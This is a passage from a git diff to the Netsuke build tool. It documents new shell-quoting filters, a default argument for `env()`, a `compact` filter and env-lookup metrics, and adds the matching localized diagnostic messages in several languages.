a complete argv word. + +The following manifest constructs a `RUSTFLAGS` value from an optional +environment override without any shell parameter expansion, and pins +`dialect='sh'` so its output is the same on every host. + + + +```yaml +netsuke_version: "1.0.0" + +vars: + base_flags: + - -D + - warnings + +targets: + - name: rustflags.txt + command: >- + printf 'RUSTFLAGS=%s\n' {{ [base_flags | join(' '), env('RUSTFLAGS', default='')] + | compact | join(' ') | shell_quote(dialect='sh') }} > {{ outs }} + +defaults: + - rustflags.txt +``` + ## Run commands and inspect the host These helpers observe the host and should appear only in trusted manifests. @@ -341,9 +412,17 @@ These helpers observe the host and should appear only in trusted manifests. - `command_available(name, **options)` accepts the same options as `which` but returns `true` or `false` for ordinary misses. Example: `{{ command_available('guide-tool', cwd_mode='never') }}`. -- `env(name)` returns one required Unicode environment variable. There is no - default-value argument; a missing or non-Unicode value is an error. Example: - `{{ env('NETSUKE_STDLIB_TOKEN') }}`. +- `env(name)` returns one environment variable, and `env(name, default='...')` + returns `default` instead when the variable is missing. A present variable + always takes precedence over the default, and an empty string is a present + value, so it yields `''` rather than the default. The default is consulted + only for a missing variable: a non-Unicode value is still an error, and a + variable refused by the access policy is still refused. The default must be a + string; a number, boolean, list, or map is rejected rather than stringified. + Omitting the default, passing `default=none`, or passing an undefined default + supplies no fallback at all: each behaves exactly as if the argument had not + been written. Examples: `{{ env('NETSUKE_STDLIB_TOKEN') }}` and + `{{ env('CC', default='cc') }}`. - `glob(pattern)` returns matching workspace paths. It is host-observing; matches and separator syntax depend on workspace contents and platform. Example: `{{ glob('fixtures/*.txt') | join(',') }}`. diff --git a/docs/users-guide.md b/docs/users-guide.md index b0b67d6cd..7e54bedcc 100644 --- a/docs/users-guide.md +++ b/docs/users-guide.md @@ -515,7 +515,14 @@ list of strings. Netsuke quotes paths inserted through `{{ ins }}` and `{{ outs }}`. Other Jinja values render as ordinary command text and are not automatically shell-quoted. -The `shell_escape` filter described in older drafts is not implemented in beta4. +Use the `shell_quote` filter to encode one value as a single shell word, and +`shell_join` to encode a list as a command line. Both take a `dialect` of `sh` +or `powershell` and otherwise use the dialect implied by the recipe's shell, so +the default differs between Unix and Windows; pin `dialect` when the generated +text must be byte-stable. Both are correct only in unquoted argv position. See +[Build shell recipe text](stdlib-yaml-and-jinja-guide.md#build-shell-recipe-text) +for the full contract, and "Write recipes that work on Windows" below for why +the default differs. Cycle detection follows `sources` and `deps`. Order-only dependencies enforce ordering but do not participate in cycle detection. @@ -798,8 +805,16 @@ Both helpers accept: a checkout-controlled executable, so use it only when that trust boundary is intended. -The `env(name)` function reads one required environment variable. Beta4 does -not accept a default argument; an absent or non-Unicode value is an error. +The `env(name)` function reads one environment variable, and +`env(name, default='...')` supplies the value to use when it is absent. A +present variable always takes precedence over the default. An empty string is a +present value, so it yields `''` rather than the default. The default is +consulted only for a missing variable: a non-Unicode value is still an error, +and a variable refused by the access policy is still refused. The default must +be a string; a number, boolean, list, or map is rejected rather than +stringified. Omitting the default, passing `default=none`, or passing an +undefined default supplies no fallback at all: each behaves exactly as if the +argument had not been written. #### `which` resolver observability @@ -1083,12 +1098,12 @@ The command loads, expands, renders, and validates the manifest through the same structural stages as a build, but performs no recipes and creates no build outputs. Rendering uses a restricted, side-effect-free Jinja surface. Queries allow only the lexical path filters `basename`, `dirname`, `with_suffix`, and -`relative_to`, the collection filters `uniq`, `flatten`, and `group_by`, and -the clock-independent `timedelta` function. Query rendering skips command and -script recipe bodies, so build-only helpers in those recipes are not evaluated -and do not make discovery fail. Metadata such as `vars`, names, dependencies, -and descriptions is still rendered; structural rule selectors are rendered as -needed for graph validation. +`relative_to`, the collection filters `uniq`, `flatten`, `compact`, and +`group_by`, and the clock-independent `timedelta` function. Query rendering +skips command and script recipe bodies, so build-only helpers in those recipes +are not evaluated and do not make discovery fail. Metadata such as `vars`, +names, dependencies, and descriptions is still rendered; structural rule +selectors are rendered as needed for graph validation. Queries reject direct use of `env()` and `glob()`, file tests, filesystem metadata filters such as `size` and `linecount`, `hash`, `digest`, `contents`, @@ -1102,6 +1117,13 @@ filters its entry out. Normal build manifest rendering retains the full standard library and its existing `when` semantics; these restrictions apply only to query rendering. +`compact` accepts a `Seq` or `Iterable` subject and removes `none`, undefined, +and empty-string members while preserving order. It removes nothing else: `0`, +`false`, whitespace-only strings, empty lists, and empty maps are retained. +Example: `{{ ['a', none, '', 'b'] | compact | join(',') }}` produces `a,b`. The +[template standard-library guide](stdlib-yaml-and-jinja-guide.md) +gives the full filter reference. + In human-readable output, a conditional entry carries `[◇ conditional]` when emoji output is allowed, or `[? conditional]` in the ASCII theme. JSON output always includes a boolean `conditional` field: `true` means that discovery @@ -1340,16 +1362,29 @@ rendered manifest values can carry secret material interpolated through `env()`. Loading a manifest counts every `env()` lookup in one bounded series: - `netsuke_manifest_env_lookups_total` — a counter with a single `outcome` - label that counts each `env()` lookup. `outcome` is `success` when the - variable resolved, `blocked` when the + label that counts each `env()` lookup. `outcome` is `success` when the lookup + produced a value, `blocked` when the [environment access policy](#control-manifest-environment-access) denied the - name, `not_present` when the variable is absent, and `not_unicode` when its - value is not valid UTF-8. + name, `not_present` when the variable is absent and no default is available, + and `not_unicode` when its value is not valid UTF-8. + +The outcome tracks whether a value was produced, not whether the variable was +present. A missing variable resolved through a supplied default is therefore +counted as `success`: the manifest asked for a substitution and received one. +Only a missing variable with no fallback available counts as `not_present`, so +an absent variable does not by itself imply that outcome. + +The four outcomes are the complete vocabulary; a substituted fallback is not a +fifth. That case is instead marked by a bounded `fallback_used` field on a +`tracing::debug!` event emitted only on the substitution path. The field is not +a metric outcome and carries no name or value of its own, but it lets an +operator see an exported variable stop propagating even though the lookup still +counts as a success. The `blocked` outcome is what makes an effective policy measurable: it is the rate at which the policy is refusing manifest access. Variable names and their -values never appear in the label, because environment variable names routinely -identify credentials. +values never appear in the label, and neither do the contents of a fallback, +because environment variable names routinely identify credentials. The annotated [sample configuration](sample-netsuke.toml) lists every key. A small project configuration looks like this: diff --git a/locales/ar/messages.ftl b/locales/ar/messages.ftl index a21ffe350..9ec8583bd 100644 --- a/locales/ar/messages.ftl +++ b/locales/ar/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = هرّب الشرطات المائلة العكسي manifest.env.missing = متغيّر بيئة مطلوب غير مضبوط. manifest.env.invalid_utf8 = يتضمّن متغيّر بيئة ترميز UTF-8 غير صالح. manifest.env.blocked = تم حظر الوصول إلى متغير بيئة. +manifest.env.args_error = ‏[netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = يجب أن تكون قيمة default في env سلسلة نصية، وتم تلقّي { $kind }. manifest.vars.not_object = يجب أن يكون `vars` في ملف البيانات تخطيطًا أو كائنًا. manifest.vars.reserved_name = يُعدّ مفتاح `vars` المسمّى '{ $name }' في ملف البيانات محجوزًا لدالة قوالب مدمجة؛ أعد تسمية المتغيّر. manifest.read_failed = تعذّرت قراءة ملف البيانات من { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = التدفّق stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = ‏[netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = ‏[netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = يتوقّع shell_quote سلسلة نصية لكنه تلقّى { $kind }. +stdlib.shell.quote.control_character = لا يمكن وضع قيمة تتضمّن بايتاً صفرياً أو إرجاع أوّل السطر أو تغذية السطر بين علامتي اقتباس. +stdlib.shell.dialect_invalid = لهجة صدفة غير معروفة { $dialect }؛ المتوقّع أحد هذه: { $accepted }. +stdlib.shell.dialect_not_string = يجب أن يكون خيار dialect في shell سلسلة نصية، وتم تلقّي { $kind }. +stdlib.shell.join.not_sequence = يتوقّع shell_join تسلسلاً لكنه تلقّى { $kind }. +stdlib.shell.join.item_not_string = العنصر { $index } في shell_join نوعه { $kind } وليس سلسلة نصية. +stdlib.shell.positional_option = ‏{ $filter } يتلقّى خياراته ككلمات مفتاحية؛ اكتب { $example }. + # تشخيصات مساعد المسارات. stdlib.path.io.failed = فشل الإجراء «{ $action }» على { $path } ({ $label }). stdlib.path.io.failed_with_detail = فشل الإجراء «{ $action }» على { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = خوارزمية تلبيد غي # تشخيصات مساعدات المجموعات. stdlib.collections.flatten.expected_sequence = توقّع flatten عناصر متتالية لكنه وجد { $kind }. +stdlib.collections.compact.not_sequence = يتطلّب compact تسلسلاً لكنه وجد { $kind }. stdlib.collections.group_by.empty_attribute = يتطلّب group_by سمة غير فارغة. stdlib.collections.group_by.unresolved = تعذّر على group_by إيجاد «{ $attr }» في عنصر من النوع { $kind }. diff --git a/locales/cs/messages.ftl b/locales/cs/messages.ftl index 8a8921408..798da2377 100644 --- a/locales/cs/messages.ftl +++ b/locales/cs/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escapujte zpětná lomítka nebo odstraňte neplatn manifest.env.missing = Povinná proměnná prostředí není nastavena. manifest.env.invalid_utf8 = Proměnná prostředí obsahuje neplatné UTF-8. manifest.env.blocked = Přístup k proměnné prostředí je zablokován. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Hodnota default v env musí být řetězec; typ obdržené hodnoty: { $kind }. manifest.vars.not_object = Položka `vars` manifestu musí být mapování nebo objekt. manifest.vars.reserved_name = Klíč `vars` '{ $name }' v manifestu je vyhrazen pro vestavěného pomocníka šablon; přejmenujte proměnnou. manifest.read_failed = Manifest v { $path } se nepodařilo přečíst. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = proudové zpracování stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote očekával řetězec, ale obdržel { $kind }. +stdlib.shell.quote.control_character = Hodnotu obsahující nulový bajt, návrat vozíku nebo konec řádku nelze uzavřít do uvozovek. +stdlib.shell.dialect_invalid = Neznámý dialekt shellu { $dialect }; očekáván jeden z { $accepted }. +stdlib.shell.dialect_not_string = Volba dialect v shell musí být řetězec; typ obdržené hodnoty: { $kind }. +stdlib.shell.join.not_sequence = shell_join očekával posloupnost, ale obdržel { $kind }. +stdlib.shell.join.item_not_string = Prvek { $index } v shell_join má typ { $kind }, nikoli řetězec. +stdlib.shell.positional_option = { $filter } přijímá své volby jako klíčová slova; zapište { $example }. + # Diagnostika pomocníka pro cesty. stdlib.path.io.failed = Akce „{ $action }“ selhala pro { $path } ({ $label }). stdlib.path.io.failed_with_detail = Akce „{ $action }“ selhala pro { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Nepodporovaný hashovací algori # Diagnostika pomocníků pro kolekce. stdlib.collections.flatten.expected_sequence = flatten očekával prvky posloupnosti, ale nalezl { $kind }. +stdlib.collections.compact.not_sequence = compact očekává posloupnost; typ obdržené hodnoty: { $kind }. stdlib.collections.group_by.empty_attribute = group_by vyžaduje neprázdný atribut. stdlib.collections.group_by.unresolved = group_by nedokázal najít „{ $attr }“ u prvku typu { $kind }. diff --git a/locales/cy/messages.ftl b/locales/cy/messages.ftl index 1da9c857d..0ca96df33 100644 --- a/locales/cy/messages.ftl +++ b/locales/cy/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Diangwch y slaesau ôl neu dynnwch y dilyniannau dia manifest.env.missing = Nid yw newidyn amgylchedd gofynnol wedi'i osod. manifest.env.invalid_utf8 = Mae newidyn amgylchedd yn cynnwys UTF-8 annilys. manifest.env.blocked = Mae mynediad at newidyn amgylchedd wedi'i rwystro. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Rhaid i default env fod yn llinyn, derbyniwyd { $kind }. manifest.vars.not_object = Rhaid i `vars` y maniffest fod yn fap neu'n wrthrych. manifest.vars.reserved_name = Mae'r allwedd `vars` '{ $name }' yn y maniffest wedi'i chadw ar gyfer cynorthwyydd templed mewnol; ailenwch y newidyn. manifest.read_failed = Methwyd â darllen y maniffest o { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = ffrydio stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = Roedd shell_quote yn disgwyl llinyn ond cafodd { $kind }. +stdlib.shell.quote.control_character = Ni ellir rhoi gwerth sy'n cynnwys beit nwl, dychweliad cerbyd neu doriad llinell mewn dyfynodau. +stdlib.shell.dialect_invalid = Tafodiaith plisgyn anhysbys { $dialect }; disgwylir un o { $accepted }. +stdlib.shell.dialect_not_string = Rhaid i'r opsiwn dialect yn shell fod yn llinyn, derbyniwyd { $kind }. +stdlib.shell.join.not_sequence = Roedd shell_join yn disgwyl dilyniant ond cafodd { $kind }. +stdlib.shell.join.item_not_string = Mae eitem { $index } shell_join yn { $kind }, nid yn llinyn. +stdlib.shell.positional_option = Mae { $filter } yn cymryd ei opsiynau fel allweddair; ysgrifennwch { $example }. + # Diagnosteg y cynorthwyydd llwybrau. stdlib.path.io.failed = Methodd y weithred ‘{ $action }’ ar gyfer { $path } ({ $label }). stdlib.path.io.failed_with_detail = Methodd y weithred ‘{ $action }’ ar gyfer { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algorithm stwnsio nas cefnogir: # Diagnosteg cynorthwywyr y casgliadau. stdlib.collections.flatten.expected_sequence = Roedd flatten yn disgwyl eitemau dilyniant ond cafodd { $kind }. +stdlib.collections.compact.not_sequence = Mae compact yn disgwyl dilyniant ond cafodd { $kind }. stdlib.collections.group_by.empty_attribute = Mae group_by angen priodoledd nad yw'n wag. stdlib.collections.group_by.unresolved = Methodd group_by â chanfod ‘{ $attr }’ ar eitem o'r math { $kind }. diff --git a/locales/da/messages.ftl b/locales/da/messages.ftl index ea18e0bc7..adbe64dfc 100644 --- a/locales/da/messages.ftl +++ b/locales/da/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escape omvendte skråstreger, eller fjern ugyldige e manifest.env.missing = En påkrævet miljøvariabel er ikke sat. manifest.env.invalid_utf8 = En miljøvariabel indeholder ugyldig UTF-8. manifest.env.blocked = Adgang til en miljøvariabel er blokeret. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = default i env skal være en streng, modtog { $kind }. manifest.vars.not_object = Manifestets `vars` skal være en tilknytning eller et objekt. manifest.vars.reserved_name = Manifestets `vars`-nøgle '{ $name }' er reserveret til en indbygget skabelonhjælper; omdøb variablen. manifest.read_failed = Manifestet i { $path } kunne ikke læses. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = strømning stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote forventede en streng, men fik { $kind }. +stdlib.shell.quote.control_character = En værdi med nulbyte, vognretur eller linjeskift kan ikke sættes i anførselstegn. +stdlib.shell.dialect_invalid = Ukendt shell-dialekt { $dialect }; forventede en af { $accepted }. +stdlib.shell.dialect_not_string = dialect-indstillingen i shell skal være en streng, modtog { $kind }. +stdlib.shell.join.not_sequence = shell_join forventede en følge, men fik { $kind }. +stdlib.shell.join.item_not_string = Element { $index } i shell_join er { $kind }, ikke en streng. +stdlib.shell.positional_option = { $filter } tager sine valgmuligheder som nøgleord; skriv { $example }. + # Diagnostik for stihjælperen. stdlib.path.io.failed = { $action } mislykkedes for { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } mislykkedes for { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Hash-algoritmen "{ $algorithm }" # Diagnostik for samlingshjælpere. stdlib.collections.flatten.expected_sequence = flatten forventede elementer fra en følge, men fandt { $kind }. +stdlib.collections.compact.not_sequence = compact forventede en følge, men fik { $kind }. stdlib.collections.group_by.empty_attribute = group_by kræver en attribut, der ikke er tom. stdlib.collections.group_by.unresolved = group_by kunne ikke slå "{ $attr }" op på et element af typen { $kind }. diff --git a/locales/de/messages.ftl b/locales/de/messages.ftl index 2314d9f3f..290fc822a 100644 --- a/locales/de/messages.ftl +++ b/locales/de/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Maskieren Sie Backslashes oder entfernen Sie ungült manifest.env.missing = Eine erforderliche Umgebungsvariable ist nicht gesetzt. manifest.env.invalid_utf8 = Eine Umgebungsvariable enthält ungültiges UTF-8. manifest.env.blocked = Der Zugriff auf eine Umgebungsvariable ist gesperrt. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Der default von env muss eine Zeichenkette sein, empfangen wurde { $kind }. manifest.vars.not_object = `vars` im Manifest muss eine Zuordnung bzw. ein Objekt sein. manifest.vars.reserved_name = Der `vars`-Schlüssel '{ $name }' im Manifest ist für eine integrierte Vorlagenfunktion reserviert; benennen Sie die Variable um. manifest.read_failed = Das Manifest unter { $path } konnte nicht gelesen werden. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = Streaming stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote erwartet eine Zeichenkette, erhielt aber { $kind }. +stdlib.shell.quote.control_character = Ein Wert mit Nullbyte, Wagenrücklauf oder Zeilenumbruch kann nicht in Anführungszeichen gesetzt werden. +stdlib.shell.dialect_invalid = Unbekannter Shell-Dialekt { $dialect }; erwartet wird einer von { $accepted }. +stdlib.shell.dialect_not_string = Die Option dialect von shell muss eine Zeichenkette sein, empfangen wurde { $kind }. +stdlib.shell.join.not_sequence = shell_join erwartet eine Sequenz, erhielt aber { $kind }. +stdlib.shell.join.item_not_string = Element { $index } von shell_join ist { $kind }, keine Zeichenkette. +stdlib.shell.positional_option = { $filter } nimmt seine Optionen als Schlüsselwort an; schreiben Sie { $example }. + # Diagnosen des Pfadhelfers. stdlib.path.io.failed = { $action } für { $path } fehlgeschlagen ({ $label }). stdlib.path.io.failed_with_detail = { $action } für { $path } fehlgeschlagen: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Nicht unterstützter Hash-Algori # Diagnosen der Sammlungshelfer. stdlib.collections.flatten.expected_sequence = flatten erwartete Sequenzelemente, fand aber { $kind }. +stdlib.collections.compact.not_sequence = compact erwartet eine Sequenz, fand aber { $kind }. stdlib.collections.group_by.empty_attribute = group_by benötigt ein nicht leeres Attribut. stdlib.collections.group_by.unresolved = group_by konnte „{ $attr }“ an einem Element vom Typ { $kind } nicht auflösen. diff --git a/locales/el/messages.ftl b/locales/el/messages.ftl index 320c6185b..6e7aece85 100644 --- a/locales/el/messages.ftl +++ b/locales/el/messages.ftl @@ -140,6 +140,8 @@ manifest.yaml.hint.escape = Διαφύγετε τις ανάστροφες κα manifest.env.missing = Μια απαιτούμενη μεταβλητή περιβάλλοντος δεν έχει οριστεί. manifest.env.invalid_utf8 = Μια μεταβλητή περιβάλλοντος περιέχει μη έγκυρο UTF-8. manifest.env.blocked = Η πρόσβαση σε μεταβλητή περιβάλλοντος έχει αποκλειστεί. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Το default του env πρέπει να είναι συμβολοσειρά· τύπος τιμής που ελήφθη: { $kind }. manifest.vars.not_object = Το `vars` του δηλωτικού πρέπει να είναι αντιστοίχιση ή αντικείμενο. manifest.vars.reserved_name = Το κλειδί `vars` '{ $name }' του μανιφέστου είναι δεσμευμένο για ενσωματωμένη βοηθητική συνάρτηση προτύπων· μετονομάστε τη μεταβλητή. manifest.read_failed = Δεν ήταν δυνατή η ανάγνωση του δηλωτικού από { $path }. @@ -286,6 +288,17 @@ stdlib.command.output.mode.streaming = συνεχής ροή stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = Το shell_quote περίμενε συμβολοσειρά, αλλά έλαβε { $kind }. +stdlib.shell.quote.control_character = Μια τιμή που περιέχει μηδενικό byte, επιστροφή ή αλλαγή γραμμής δεν μπορεί να τεθεί σε εισαγωγικά. +stdlib.shell.dialect_invalid = Άγνωστη διάλεκτος κελύφους { $dialect }· αναμενόταν μία από { $accepted }. +stdlib.shell.dialect_not_string = Η επιλογή dialect του shell πρέπει να είναι συμβολοσειρά· τύπος τιμής που ελήφθη: { $kind }. +stdlib.shell.join.not_sequence = Το shell_join περίμενε ακολουθία, αλλά έλαβε { $kind }. +stdlib.shell.join.item_not_string = Το στοιχείο { $index } του shell_join είναι { $kind }, όχι συμβολοσειρά. +stdlib.shell.positional_option = Το { $filter } δέχεται τις επιλογές του ως λέξεις-κλειδιά· γράψτε { $example }. + # Διαγνωστικά του βοηθήματος διαδρομών. stdlib.path.io.failed = Η ενέργεια «{ $action }» απέτυχε για { $path } ({ $label }). stdlib.path.io.failed_with_detail = Η ενέργεια «{ $action }» απέτυχε για { $path }: { $detail }. @@ -341,6 +354,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Μη υποστηριζόμεν # Διαγνωστικά των βοηθημάτων συλλογών. stdlib.collections.flatten.expected_sequence = Το flatten περίμενε στοιχεία ακολουθίας αλλά βρήκε { $kind }. +stdlib.collections.compact.not_sequence = Το compact περιμένει ακολουθία· τύπος τιμής που βρέθηκε: { $kind }. stdlib.collections.group_by.empty_attribute = Το group_by απαιτεί μη κενό γνώρισμα. stdlib.collections.group_by.unresolved = Το group_by δεν μπόρεσε να εντοπίσει το «{ $attr }» σε στοιχείο τύπου { $kind }. diff --git a/locales/en-GB/messages.ftl b/locales/en-GB/messages.ftl index b2e0d947d..4c149754e 100644 --- a/locales/en-GB/messages.ftl +++ b/locales/en-GB/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escape backslashes or remove invalid escape sequence manifest.env.missing = A required environment variable is not set. manifest.env.invalid_utf8 = An environment variable contains invalid UTF-8. manifest.env.blocked = Access to an environment variable is blocked. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env default must be a string, received { $kind }. manifest.vars.not_object = Manifest `vars` must be a map/object. manifest.vars.reserved_name = Manifest `vars` key '{ $name }' is reserved for a built-in template helper; rename the variable. manifest.read_failed = Failed to read manifest at { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = streaming stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote expects a string, received { $kind }. +stdlib.shell.quote.control_character = A value containing a null byte, carriage return, or line feed cannot be quoted. +stdlib.shell.dialect_invalid = Unknown shell dialect { $dialect }; expected one of { $accepted }. +stdlib.shell.dialect_not_string = The shell dialect option must be a string, received { $kind }. +stdlib.shell.join.not_sequence = shell_join expects a sequence, received { $kind }. +stdlib.shell.join.item_not_string = shell_join item { $index } is { $kind }, not a string. +stdlib.shell.positional_option = { $filter } takes its options by keyword; write { $example }. + # Path helper diagnostics. stdlib.path.io.failed = { $action } failed for { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } failed for { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Unsupported hash algorithm '{ $a # Collection helper diagnostics. stdlib.collections.flatten.expected_sequence = Flatten expected sequence items but found { $kind }. +stdlib.collections.compact.not_sequence = compact expects a sequence, received { $kind }. stdlib.collections.group_by.empty_attribute = group_by requires a non-empty attribute. stdlib.collections.group_by.unresolved = group_by could not resolve '{ $attr }' on item of kind { $kind }. diff --git a/locales/en-US/messages.ftl b/locales/en-US/messages.ftl index 1600473d3..3cde7a290 100644 --- a/locales/en-US/messages.ftl +++ b/locales/en-US/messages.ftl @@ -140,6 +140,8 @@ manifest.yaml.hint.escape = Escape backslashes or remove invalid escape sequence manifest.env.missing = A required environment variable is not set. manifest.env.invalid_utf8 = An environment variable contains invalid UTF-8. manifest.env.blocked = Access to an environment variable is blocked. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env default must be a string, received { $kind }. manifest.vars.not_object = Manifest `vars` must be a map/object. manifest.vars.reserved_name = Manifest `vars` key '{ $name }' is reserved for a built-in template helper; rename the variable. manifest.read_failed = Failed to read manifest at { $path }. @@ -286,6 +288,17 @@ stdlib.command.output.mode.streaming = streaming stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote expects a string, received { $kind }. +stdlib.shell.quote.control_character = A value containing a null byte, carriage return, or line feed cannot be quoted. +stdlib.shell.dialect_invalid = Unknown shell dialect { $dialect }; expected one of { $accepted }. +stdlib.shell.dialect_not_string = The shell dialect option must be a string, received { $kind }. +stdlib.shell.join.not_sequence = shell_join expects a sequence, received { $kind }. +stdlib.shell.join.item_not_string = shell_join item { $index } is { $kind }, not a string. +stdlib.shell.positional_option = { $filter } takes its options by keyword; write { $example }. + # Path helper diagnostics. stdlib.path.io.failed = { $action } failed for { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } failed for { $path }: { $detail }. @@ -341,6 +354,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Unsupported hash algorithm '{ $a # Collection helper diagnostics. stdlib.collections.flatten.expected_sequence = Flatten expected sequence items but found { $kind }. +stdlib.collections.compact.not_sequence = compact expects a sequence, received { $kind }. stdlib.collections.group_by.empty_attribute = group_by requires a non-empty attribute. stdlib.collections.group_by.unresolved = group_by could not resolve '{ $attr }' on item of kind { $kind }. diff --git a/locales/es-419/messages.ftl b/locales/es-419/messages.ftl index 87f0935f3..2c487a559 100644 --- a/locales/es-419/messages.ftl +++ b/locales/es-419/messages.ftl @@ -140,6 +140,8 @@ manifest.yaml.hint.escape = Escape las barras invertidas o elimine las secuencia manifest.env.missing = Una variable de entorno requerida no está definida. manifest.env.invalid_utf8 = Una variable de entorno contiene UTF-8 no válido. manifest.env.blocked = El acceso a una variable de entorno está bloqueado. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = El default de env debe ser una cadena, se recibió { $kind }. manifest.vars.not_object = `vars` del manifiesto debe ser un mapa u objeto. manifest.vars.reserved_name = La clave `vars` '{ $name }' del manifiesto está reservada para una función auxiliar de plantillas integrada; cambie el nombre de la variable. manifest.read_failed = No se pudo leer el manifiesto en { $path }. @@ -286,6 +288,17 @@ stdlib.command.output.mode.streaming = transmisión stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote esperaba una cadena, pero recibió { $kind }. +stdlib.shell.quote.control_character = Un valor que contenga un byte nulo, un retorno de carro o un salto de línea no se puede entrecomillar. +stdlib.shell.dialect_invalid = Dialecto de shell desconocido { $dialect }; se esperaba uno de { $accepted }. +stdlib.shell.dialect_not_string = La opción dialect de shell debe ser una cadena, se recibió { $kind }. +stdlib.shell.join.not_sequence = shell_join esperaba una secuencia, pero recibió { $kind }. +stdlib.shell.join.item_not_string = El elemento { $index } de shell_join es { $kind }, no una cadena. +stdlib.shell.positional_option = { $filter } toma sus opciones por palabra clave; escriba { $example }. + # Diagnósticos del asistente de rutas. stdlib.path.io.failed = { $action } falló para { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } falló para { $path }: { $detail }. @@ -341,6 +354,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algoritmo de hash no admitido '{ # Diagnósticos de los asistentes de colecciones. stdlib.collections.flatten.expected_sequence = flatten esperaba elementos de una secuencia, pero encontró { $kind }. +stdlib.collections.compact.not_sequence = compact esperaba una secuencia, pero encontró { $kind }. stdlib.collections.group_by.empty_attribute = group_by requiere un atributo no vacío. stdlib.collections.group_by.unresolved = group_by no pudo resolver '{ $attr }' en un elemento de tipo { $kind }. diff --git a/locales/es-ES/messages.ftl b/locales/es-ES/messages.ftl index 91f55b7bf..ffc95f1e3 100644 --- a/locales/es-ES/messages.ftl +++ b/locales/es-ES/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escapa las barras inversas o elimina secuencias inv manifest.env.missing = Una variable de entorno requerida no está establecida. manifest.env.invalid_utf8 = Una variable de entorno contiene UTF-8 inválido. manifest.env.blocked = El acceso a una variable de entorno está bloqueado. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = El default de env debe ser una cadena, se recibió { $kind }. 